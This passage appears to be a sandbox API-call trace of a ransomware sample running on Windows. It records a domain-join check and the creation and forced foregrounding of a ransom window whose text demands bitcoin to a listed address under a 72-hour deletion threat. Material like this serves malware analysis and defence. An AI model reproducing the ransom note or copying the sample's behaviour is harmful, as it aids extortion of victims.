dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0035.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f000, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f000*=0) returned 1 [0035.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5eff0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5eff0*=0) returned 1 [0035.944] ReadFile (in: hFile=0x194, lpBuffer=0x26a4cb3010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f030, lpOverlapped=0x0 | out: lpBuffer=0x26a4cb3010*, lpNumberOfBytesRead=0x26a4a5f030*=0x1b, lpOverlapped=0x0) returned 1 [0035.944] ReadFile (in: hFile=0x194, lpBuffer=0x26a4cb3010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f030, lpOverlapped=0x0 | out: lpBuffer=0x26a4cb3010*, lpNumberOfBytesRead=0x26a4a5f030*=0x0, lpOverlapped=0x0) returned 1 [0035.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0035.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f070, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f070*=27) returned 1 [0035.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5f070, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5f070*=0) returned 1 [0035.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x26a4a5efc0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x26a4a5efc0*=0) returned 1 [0035.945] ReadFile (in: hFile=0x194, lpBuffer=0x26a4cb3010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x26a4a5f000, lpOverlapped=0x0 | out: lpBuffer=0x26a4cb3010*, lpNumberOfBytesRead=0x26a4a5f000*=0x1b, lpOverlapped=0x0) returned 1 [0035.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26a4cab600, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0035.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26a4cab600, cbMultiByte=28, lpWideCharStr=0x26a4cab740, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0035.945] CloseHandle (hObject=0x194) returned 1 [0035.945] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.945] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0035.945] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.946] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.946] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.946] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0035.946] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.946] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.946] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0035.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0035.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x26a4c91af0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0035.953] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0035.953] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x26a4a5df48, BufferType=0x26a4a5df70 | out: lpNameBuffer=0x26a4a5df48*="WORKGROUP", BufferType=0x26a4a5df70) returned 0x0 [0035.955] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0035.956] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.956] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.956] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.956] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0035.956] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.957] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.957] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x26a4c91b30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0035.964] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0035.964] NetApiBufferSize (in: Buffer=0x26a4cab0c0, ByteCount=0x26a4a5d6a8 | out: ByteCount=0x26a4a5d6a8) returned 0x0 [0035.964] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0035.965] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 1 [0035.965] TranslateMessage (lpMsg=0x26a4a5df30) returned 0 [0035.965] DispatchMessageW (lpMsg=0x26a4a5df30) returned 0xffffffff [0035.965] GetForegroundWindow () returned 0x301cc [0035.965] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0035.965] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.966] PeekMessageW (in: lpMsg=0x26a4a5df30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5df30) returned 0 [0035.966] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0035.966] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.966] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.966] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5e7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5e7d0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5eeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5eeb0) returned 0 [0035.969] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.969] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x7004e, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa001e [0035.971] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.971] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x80001, lParam=0xa001e) returned 0x0 [0035.971] GetStockObject (i=17) returned 0x10a0047 [0035.971] SendMessageW (hWnd=0xa001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0035.971] GetWindowTextLengthW (hWnd=0xa001e) returned 417 [0035.971] SendMessageW (hWnd=0xa001e, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0035.971] GetClientRect (in: hWnd=0xa001e, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.971] GetWindowRect (in: hWnd=0xa001e, lpRect=0x26a4a5ef10 | out: lpRect=0x26a4a5ef10) returned 1 [0035.971] SetWindowLongPtrW (hWnd=0xa001e, nIndex=-21, dwNewLong=0x8) returned 0x0 [0035.971] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.972] GetDC (hWnd=0x0) returned 0xe010572 [0035.972] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0035.972] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0035.972] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x130a06de [0035.972] SendMessageW (hWnd=0xa001e, Msg=0x30, wParam=0x130a06de, lParam=0x1) returned 0x1 [0035.976] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.976] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.976] ShowWindow (hWnd=0x7004e, nCmdShow=5) returned 0 [0035.976] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.976] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0035.976] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.976] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x46, wParam=0x0, lParam=0x26a4a5f460) returned 0x0 [0035.984] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.984] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x46, wParam=0x0, lParam=0x26a4a5f460) returned 0x0 [0035.984] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.984] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0035.984] NtdllDefWindowProc_W (hWnd=0x5002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0035.984] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.984] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0035.984] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.984] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.984] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0035.986] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.986] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0035.989] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.989] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0035.989] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.989] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.989] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x8, wParam=0x301ea, lParam=0x0) returned 0x0 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0x50106e3, lParam=0x0) returned 0x1 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.990] SetBkColor (hdc=0x50106e3, color=0xf0f0f0) returned 0xffffff [0035.990] CreateSolidBrush (color=0xf0f0f0) returned 0x1a1007e2 [0035.990] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.990] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x47, wParam=0x0, lParam=0x26a4a5f460) returned 0x0 [0035.990] GetForegroundWindow () returned 0x301cc [0035.990] IsIconic (hWnd=0x7004e) returned 0 [0035.990] SetForegroundWindow (hWnd=0x7004e) returned 0 [0035.991] GetWindowThreadProcessId (in: hWnd=0x301cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c0 [0035.991] GetCurrentThreadId () returned 0x890 [0035.991] GetWindowThreadProcessId (in: hWnd=0x7004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x890 [0035.991] AttachThreadInput (idAttach=0x890, idAttachTo=0x890, fAttach=1) returned 0 [0035.991] AttachThreadInput (idAttach=0x890, idAttachTo=0x7c0, fAttach=1) returned 1 [0035.992] AttachThreadInput (idAttach=0x7c0, idAttachTo=0x890, fAttach=1) returned 1 [0035.992] SetForegroundWindow (hWnd=0x7004e) returned 1 [0035.992] AttachThreadInput (idAttach=0x890, idAttachTo=0x890, fAttach=0) returned 0 [0035.992] AttachThreadInput (idAttach=0x890, idAttachTo=0x7c0, fAttach=0) returned 1 [0035.992] AttachThreadInput (idAttach=0x7c0, idAttachTo=0x890, fAttach=0) returned 1 [0035.992] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.992] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.992] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0035.992] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.992] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0035.992] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.992] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] GetWindowLongW (hWnd=0x7004e, nIndex=-20) returned 256 [0035.993] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x84, wParam=0x0, lParam=0x1fe0310) returned 0x1 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] GetClientRect (in: hWnd=0x7004e, lpRect=0x26a4a5f170 | out: lpRect=0x26a4a5f170) returned 1 [0035.993] GetCursorPos (in: lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190*(x=784, y=510)) returned 1 [0035.993] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f190 | out: lpPoint=0x26a4a5f190) returned 1 [0035.993] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0035.993] SetCursor (hCursor=0x10003) returned 0x10007 [0035.993] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x200, wParam=0x0, lParam=0x18801cf) returned 0x0 [0035.993] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.993] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] BeginPaint (in: hWnd=0x7004e, lpPaint=0x26a4a5f060 | out: lpPaint=0x26a4a5f060) returned 0x50106e3 [0035.993] EndPaint (hWnd=0x7004e, lpPaint=0x26a4a5f060) returned 1 [0035.993] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.993] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.993] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.993] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0x7e0106f8, lParam=0x0) returned 0x1 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.994] SetBkColor (hdc=0x7e0106f8, color=0xf0f0f0) returned 0xffffff [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0x7e0106f8, lParam=0x4) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.994] SetBkColor (hdc=0x7e0106f8, color=0xf0f0f0) returned 0xf0f0f0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0035.994] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.994] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0035.994] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0035.995] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.995] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.995] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.995] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.995] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0035.995] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0x1601069e, lParam=0x0) returned 0x1 [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.995] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0x0 [0035.995] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.995] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0x1601069e, lParam=0x4) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.996] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0035.996] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.996] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0035.996] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetWindowLongPtrW (hWnd=0x6018a, nIndex=-21) returned 0x4 [0035.996] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.996] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0035.996] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0035.998] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.998] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.998] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.998] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.998] GetWindowLongPtrW (hWnd=0x601e6, nIndex=-21) returned 0x5 [0035.998] GetWindowLongPtrW (hWnd=0x601e6, nIndex=-21) returned 0x5 [0035.998] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.998] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0035.998] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0035.998] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0035.998] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0035.998] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.998] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0035.998] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x6 [0035.999] GetWindowLongPtrW (hWnd=0x3011c, nIndex=-21) returned 0x6 [0035.999] GetSysColor (nIndex=15) returned 0xf0f0f0 [0035.999] GetWindowLongW (hWnd=0x3011c, nIndex=-16) returned 1342242944 [0035.999] GetSysColor (nIndex=5) returned 0xffffff [0035.999] GetSysColor (nIndex=8) returned 0x0 [0035.999] SetTextColor (hdc=0x11010729, color=0x0) returned 0x0 [0035.999] SetBkColor (hdc=0x11010729, color=0xffffff) returned 0xffffff [0035.999] CreateSolidBrush (color=0xffffff) returned 0x1610080e [0036.002] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.002] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff92010679, lParam=0x0) returned 0x1 [0036.002] GetWindowLongPtrW 